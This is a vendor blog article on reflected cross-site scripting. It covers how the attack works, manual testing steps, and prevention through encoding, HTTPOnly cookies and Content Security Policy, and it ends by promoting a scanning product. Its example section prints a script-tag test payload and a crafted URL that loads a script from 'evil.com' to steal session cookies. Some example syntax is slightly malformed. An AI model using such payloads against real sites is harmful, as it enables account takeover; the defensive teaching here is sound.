Reflected XSS: Examples, Testing, and Prevention

Oliver Moradov

What Is Reflected XSS (Cross-Site Scripting)?

Cross-site scripting (XSS) is an injection attack where a malicious actor injects code into a trusted website. Attackers use web apps to send malicious scripts to different end-users, usually from the browser side. Vulnerabilities that enable XSS attacks are common. They occur wherever web applications use unvalidated or unencoded user-supplied inputs.

Reflected XSS involves injecting malicious executable code into an HTTP response. The malicious script does not reside in the application and does not persist. The victim’s browser executes the attack only if the user opens a web page or link set up by the attacker. 

Reflected XSS attacks are the most common type of XSS in the real world. They are also known as Type 1, first-order, or non-persistent XSS. A single browser request and response delivers and executes the attack payload. The maliciously crafted HTTP or URI parameters contain an attack string that the legitimate application processes improperly. 

In this article:

Reflected XSS Attack Example

Consider a social media site that requires users to authenticate to send and view messages. The website has a search function which displays the search string in the URL, like this:

http://socialize.com?search=latest&news

An attacker notices this and tries the following string as their search:

<script type=’text/javascript’>alert(‘test’);</script>

If the website does not properly sanitize inputs, this test script will appear in the URL, like this:

http://socialize.com?query=<script type=’text/javascript’>alert(‘test’);</script>

And the script will execute, showing an alert box in the browser. This means the website is vulnerable to an XSS attack.

Now the attacker can craft a URL that executes a malicious script from their own domain:

http://socialize.com?query=latest&news<\script%20src=”http://evil.com/malicious.js” 

The attacker embeds this link into a phishing email, and sends it to individuals who are users of the social media site, and are likely to be logged into it. Some users might be hesitant to click on a link from an unknown sender, but it’s enough that only a few of them are tricked into clicking.

Any user who clicks the link, will cause the malicious script to execute. Typically, the script will contain code that steals the session cookie and allows the attacker to take over those user’s social media accounts.

Related content: Read our guide to XSS attacks

How to Find and Test for Reflected XSS Vulnerabilities

Most reflected cross-site scripting vulnerabilities are discoverable with a web vulnerability scanner or dynamic software application testing (DAST) tool like Bright.

It is also possible, though time consuming, to test for reflected XSS manually:

  • Test all data entry points—separately test each data entry point in your application’s HTTP requests. An entry point is any data in a URL query string, file path, or message body, including parameters and HTTP headers. However, it may be harder to exploit HTTP headers for XSS attacks.
  • Use random values—submit unique, random alphanumeric values for each data entry point to test if the response reflects the values. These values should be short and simple enough to get past most input validation, containing only letters and numbers. They also need to have enough characters to reduce the likelihood of an accidental match, so values of approximately eight characters work best.
  • Identify reflection contexts—determine the context for each part of a response that reflects the random values. Check the location of the values, for example, in between HTML tags, in quotable tag attributes, or JavaScript strings.
  • Test an initial payload—test an initial XSS payload based on the reflection context, which the response reflects unmodified, to see if it triggers a JavaScript execution. The idea is to verify whether the candidate payload can elicit an attack. 
  • Test additional payloads—if the application blocks or modifies the initial XSS payload tested, you should test additional techniques and payloads that may successfully deliver an attack. Try out various alternatives based on the input validation technique and reflection context. 

Related content: Read our guide to XSS vulnerabilities

Reflected XSS Prevention

Here are a few steps you can take to prevent reflected XSS in your web applications.

Sanitizing Inputs

You can sanitize reflected and stored cross-site scripting via the server-side, and there are several ways of carrying this out. Denylisting characters that you decide are unsafe won’t work in the long term because malicious users could bypass it.  

Here is how you can use allow-listing to determine what is permitted: 

  • Utilize a security encoding library for encoding user input and all parameters. If you want to insert user/parameters input data into the HTML body, use an HTML escape before the user-supplied string.
  • Encode all characters that may influence the execution context, whether it shows the start of an event, CSS style, script, using a function such as htmlentities().
  • Escape attributes if you want to insert user/parameter input details into the HTML common attributes. Do not employ event handles or attributes such as style, href, or src.
  • Add quotes to your attributes, and in general, escape every non-alphanumeric character.
  • Use JavaScript escaping for dynamically created JS code, where you need to insert user/parameters data input into script tags or event handlers. The safest place to put data is within any quoted value. Anywhere else, it will be difficult to sanitize since switching context is simple. 

It is hard to secure against all XSS flaws in your application. To minimize the impact of XSS vulnerabilities, utilize the HTTPOnly flag-providing the browser supports it. This flag guarantees that cookies cannot be attained via client side scripts, stopping XSS attacks.  

Use the HTTPOnly flag on session cookies, and all custom cookies are not being accessed by your JavaScript code. You enable the flag in .NET applications default. However, it must be activated manually in different languages.   

Implement Content Security Policy

Content Security Policy (CSP) is a strategy that helps mitigate the effect of XSS vulnerabilities. This browser-side approach allows you to create lists outlining access permissions to client-side resources, including CSS and JavaScript. CSP uses an HTTP header to tell the browser to execute resources from the stated sources. 

For example, the following command instructs the site browser to load all resources from an identified source:

Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain.tld

X-XSS-Protection Header

The HTTP X-XSS-Protection header is available in common browsers such as Internet Explorer and Google Chrome, filtering suspicious information to stop reflected XSS attacks. When the header identifies XSS, it prevents the page from loading without sanitizing inputs within the page.  

Reliance on the X-XSS-Protection header may give rise to more client-side security risks. You should use it with discretion. You should set the header to X-XSS-Protection: 0, disabling the XSS Auditor and preventing it from adopting the default response activity of the browser. 

Detecting and Testing for Reflected XSS with Bright

While Dynamic Application Security Testing (DAST) tools are able to test for some XSS vulnerabilities, they are often limited and produce a high ratio of false positives.

Bright can automatically crawl your applications to test for reflected, stored and DOM-based XSS vulnerabilities, giving you maximum coverage, seamlessly integrated across development pipelines.

Engineering and security teams can trust Bright’s results, with automatic validation of every XSS finding carried out, with no false positives. Bright even generates a screenshot proof of concept along with comprehensive developer friendly remediation advice to fix the issue quickly and early.

Get a free account for Bright and start testing today!

Secure your app with every build

Sign up for a FREE Bright account.
Related Articles
Categories